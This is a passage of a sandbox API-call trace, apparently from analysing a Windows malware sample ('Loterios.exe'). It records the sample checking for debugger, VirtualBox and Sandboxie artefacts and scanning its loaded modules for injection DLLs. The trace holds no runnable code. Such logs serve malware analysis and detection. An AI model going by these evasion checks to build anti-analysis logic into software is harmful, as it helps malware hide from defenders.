(lpString="MultiAnalysis_v1.0.294.exe") returned 26 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7678 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="x32dbg.exe") returned 10 [0247.472] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72d8 | out: hHeap=0x25a0000) returned 1 [0247.472] lstrlenA (lpString="VBoxTray.exe") returned 12 [0247.473] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7038 | out: hHeap=0x25a0000) returned 1 [0247.473] lstrlenA (lpString="VBoxService.exe") returned 15 [0247.473] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7068 | out: hHeap=0x25a0000) returned 1 [0247.473] lstrlenA (lpString="Tcpview.exe") returned 11 [0247.473] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7098 | out: hHeap=0x25a0000) returned 1 [0247.473] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a74a8 | out: hHeap=0x25a0000) returned 1 [0247.473] GetCurrentProcessId () returned 0x13e8 [0247.473] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x13e8) returned 0x28c [0247.526] Module32First (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.527] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7098 [0247.527] StrStrIA (lpFirst="Loterios.exe", lpSrch="ivm-inject.dll") returned 0x0 [0247.527] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.527] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7098 | out: hHeap=0x25a0000) returned 1 [0247.527] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a71d0 [0247.527] StrStrIA (lpFirst="Loterios.exe", lpSrch="SbieDll.dll") returned 0x0 [0247.527] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.527] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71d0 | out: hHeap=0x25a0000) returned 1 [0247.527] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.528] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7170 [0247.528] StrStrIA (lpFirst="ntdll.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.528] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.528] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7170 | out: hHeap=0x25a0000) returned 1 [0247.528] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7230 [0247.528] StrStrIA (lpFirst="ntdll.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.528] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.528] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7230 | out: hHeap=0x25a0000) returned 1 [0247.528] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.529] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7080 [0247.529] StrStrIA (lpFirst="KERNEL32.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0247.529] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.529] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7080 | out: hHeap=0x25a0000) returned 1 [0247.529] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7218 [0247.529] StrStrIA (lpFirst="KERNEL32.DLL", lpSrch="SbieDll.dll") returned 0x0 [0247.529] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.529] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7218 | out: hHeap=0x25a0000) returned 1 [0247.529] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.530] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71b8 [0247.530] StrStrIA (lpFirst="KERNELBASE.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.530] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.530] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71b8 | out: hHeap=0x25a0000) returned 1 [0247.530] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7110 [0247.530] StrStrIA (lpFirst="KERNELBASE.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.530] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.530] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7110 | out: hHeap=0x25a0000) returned 1 [0247.530] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.531] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7098 [0247.531] StrStrIA (lpFirst="ole32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.531] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.531] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7098 | out: hHeap=0x25a0000) returned 1 [0247.531] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7050 [0247.531] StrStrIA (lpFirst="ole32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.531] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.531] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7050 | out: hHeap=0x25a0000) returned 1 [0247.531] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.532] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7080 [0247.532] StrStrIA (lpFirst="oledlg.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.532] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.532] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7080 | out: hHeap=0x25a0000) returned 1 [0247.532] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a71e8 [0247.532] StrStrIA (lpFirst="oledlg.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.532] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.532] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71e8 | out: hHeap=0x25a0000) returned 1 [0247.532] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.533] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71e8 [0247.533] StrStrIA (lpFirst="ucrtbase.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.533] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.533] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71e8 | out: hHeap=0x25a0000) returned 1 [0247.533] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a70e0 [0247.533] StrStrIA (lpFirst="ucrtbase.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.533] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.533] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70e0 | out: hHeap=0x25a0000) returned 1 [0247.533] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.534] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a70c8 [0247.534] StrStrIA (lpFirst="USER32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.534] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.534] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70c8 | out: hHeap=0x25a0000) returned 1 [0247.534] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a70b0 [0247.534] StrStrIA (lpFirst="USER32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.534] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.534] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70b0 | out: hHeap=0x25a0000) returned 1 [0247.534] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.535] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7050 [0247.535] StrStrIA (lpFirst="win32u.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.535] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.535] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7050 | out: hHeap=0x25a0000) returned 1 [0247.535] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a72c0 [0247.535] StrStrIA (lpFirst="win32u.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.535] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.535] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72c0 | out: hHeap=0x25a0000) returned 1 [0247.535] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.536] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71d0 [0247.536] StrStrIA (lpFirst="GDI32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.536] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.536] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71d0 | out: hHeap=0x25a0000) returned 1 [0247.536] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a72a8 [0247.536] StrStrIA (lpFirst="GDI32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.536] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.536] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72a8 | out: hHeap=0x25a0000) returned 1 [0247.537] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.537] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7050 [0247.537] StrStrIA (lpFirst="gdi32full.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.537] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.537] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7050 | out: hHeap=0x25a0000) returned 1 [0247.537] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a70f8 [0247.537] StrStrIA (lpFirst="gdi32full.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.537] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.538] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70f8 | out: hHeap=0x25a0000) returned 1 [0247.538] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.538] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71b8 [0247.538] StrStrIA (lpFirst="msvcp_win.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.538] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.538] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71b8 | out: hHeap=0x25a0000) returned 1 [0247.538] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7080 [0247.538] StrStrIA (lpFirst="msvcp_win.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.538] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.539] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7080 | out: hHeap=0x25a0000) returned 1 [0247.539] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.539] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7080 [0247.539] StrStrIA (lpFirst="ADVAPI32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.539] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.539] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7080 | out: hHeap=0x25a0000) returned 1 [0247.540] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7038 [0247.540] StrStrIA (lpFirst="ADVAPI32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.540] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.540] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7038 | out: hHeap=0x25a0000) returned 1 [0247.540] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.541] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a70f8 [0247.541] StrStrIA (lpFirst="msvcrt.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.541] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.541] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70f8 | out: hHeap=0x25a0000) returned 1 [0247.541] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7218 [0247.541] StrStrIA (lpFirst="msvcrt.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.541] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.541] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7218 | out: hHeap=0x25a0000) returned 1 [0247.541] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.542] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7098 [0247.542] StrStrIA (lpFirst="sechost.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.542] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.542] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7098 | out: hHeap=0x25a0000) returned 1 [0247.542] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7098 [0247.542] StrStrIA (lpFirst="sechost.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.542] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.542] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7098 | out: hHeap=0x25a0000) returned 1 [0247.542] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.543] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a72a8 [0247.543] StrStrIA (lpFirst="RPCRT4.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.543] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.543] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72a8 | out: hHeap=0x25a0000) returned 1 [0247.543] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7290 [0247.543] StrStrIA (lpFirst="RPCRT4.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.543] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.544] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7290 | out: hHeap=0x25a0000) returned 1 [0247.544] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.544] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7260 [0247.544] StrStrIA (lpFirst="SspiCli.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.544] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.544] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7260 | out: hHeap=0x25a0000) returned 1 [0247.544] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7038 [0247.545] StrStrIA (lpFirst="SspiCli.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.545] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.545] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7038 | out: hHeap=0x25a0000) returned 1 [0247.545] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.545] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71d0 [0247.546] StrStrIA (lpFirst="CRYPTBASE.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.546] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.546] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71d0 | out: hHeap=0x25a0000) returned 1 [0247.546] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7158 [0247.546] StrStrIA (lpFirst="CRYPTBASE.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.546] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.546] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7158 | out: hHeap=0x25a0000) returned 1 [0247.546] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.547] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a72d8 [0247.547] StrStrIA (lpFirst="bcryptPrimitives.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.547] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.547] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72d8 | out: hHeap=0x25a0000) returned 1 [0247.547] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a71a0 [0247.547] StrStrIA (lpFirst="bcryptPrimitives.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.547] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.547] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71a0 | out: hHeap=0x25a0000) returned 1 [0247.547] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.548] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71a0 [0247.548] StrStrIA (lpFirst="combase.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.548] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.548] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71a0 | out: hHeap=0x25a0000) returned 1 [0247.548] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7128 [0247.548] StrStrIA (lpFirst="combase.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.548] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.548] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7128 | out: hHeap=0x25a0000) returned 1 [0247.548] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.549] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7110 [0247.549] StrStrIA (lpFirst="imagehlp.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.549] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.549] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7110 | out: hHeap=0x25a0000) returned 1 [0247.549] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7230 [0247.549] StrStrIA (lpFirst="imagehlp.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.549] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.549] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7230 | out: hHeap=0x25a0000) returned 1 [0247.549] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.550] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7170 [0247.550] StrStrIA (lpFirst="winmm.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.550] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.550] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7170 | out: hHeap=0x25a0000) returned 1 [0247.550] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a70e0 [0247.550] StrStrIA (lpFirst="winmm.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.550] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.550] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70e0 | out: hHeap=0x25a0000) returned 1 [0247.550] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.551] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a70f8 [0247.551] StrStrIA (lpFirst="msimg32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.551] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.551] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70f8 | out: hHeap=0x25a0000) returned 1 [0247.551] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a71e8 [0247.551] StrStrIA (lpFirst="msimg32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.551] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.551] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71e8 | out: hHeap=0x25a0000) returned 1 [0247.551] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.552] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71a0 [0247.552] StrStrIA (lpFirst="WINMMBASE.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.552] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.552] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71a0 | out: hHeap=0x25a0000) returned 1 [0247.552] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a72c0 [0247.552] StrStrIA (lpFirst="WINMMBASE.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.552] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.552] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72c0 | out: hHeap=0x25a0000) returned 1 [0247.552] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.553] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7038 [0247.553] StrStrIA (lpFirst="cfgmgr32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.553] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.553] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7038 | out: hHeap=0x25a0000) returned 1 [0247.553] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7050 [0247.553] StrStrIA (lpFirst="cfgmgr32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.553] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.553] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7050 | out: hHeap=0x25a0000) returned 1 [0247.553] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.554] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7110 [0247.554] StrStrIA (lpFirst="IMM32.DLL", lpSrch="ivm-inject.dll") returned 0x0 [0247.554] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.554] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7110 | out: hHeap=0x25a0000) returned 1 [0247.554] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a72f0 [0247.554] StrStrIA (lpFirst="IMM32.DLL", lpSrch="SbieDll.dll") returned 0x0 [0247.554] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.554] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72f0 | out: hHeap=0x25a0000) returned 1 [0247.554] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.555] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a70c8 [0247.555] StrStrIA (lpFirst="USERENV.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.556] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.556] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a70c8 | out: hHeap=0x25a0000) returned 1 [0247.556] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7098 [0247.556] StrStrIA (lpFirst="USERENV.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.556] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.556] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7098 | out: hHeap=0x25a0000) returned 1 [0247.556] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.557] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7188 [0247.557] StrStrIA (lpFirst="profapi.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.557] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.557] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7188 | out: hHeap=0x25a0000) returned 1 [0247.557] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7110 [0247.557] StrStrIA (lpFirst="profapi.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.557] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.557] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7110 | out: hHeap=0x25a0000) returned 1 [0247.557] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.558] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71b8 [0247.558] StrStrIA (lpFirst="SHELL32.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.558] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.558] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71b8 | out: hHeap=0x25a0000) returned 1 [0247.558] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7068 [0247.558] StrStrIA (lpFirst="SHELL32.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.558] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.558] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7068 | out: hHeap=0x25a0000) returned 1 [0247.558] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.559] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a72a8 [0247.559] StrStrIA (lpFirst="shcore.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.559] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.559] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a72a8 | out: hHeap=0x25a0000) returned 1 [0247.559] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a7038 [0247.559] StrStrIA (lpFirst="shcore.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.559] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.559] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7038 | out: hHeap=0x25a0000) returned 1 [0247.559] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.560] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a71a0 [0247.560] StrStrIA (lpFirst="windows.storage.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.560] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.560] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71a0 | out: hHeap=0x25a0000) returned 1 [0247.561] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x25a71d0 [0247.561] StrStrIA (lpFirst="windows.storage.dll", lpSrch="SbieDll.dll") returned 0x0 [0247.561] lstrlenA (lpString="SbieDll.dll") returned 11 [0247.561] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a71d0 | out: hHeap=0x25a0000) returned 1 [0247.561] Module32Next (hSnapshot=0x28c, lpme=0x19fd04) returned 1 [0247.562] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x25a7128 [0247.562] StrStrIA (lpFirst="shlwapi.dll", lpSrch="ivm-inject.dll") returned 0x0 [0247.562] lstrlenA (lpString="ivm-inject.dll") returned 14 [0247.562] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x25a7128 | out: hHeap=0x25a0000) returned 1 [0247.562] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) 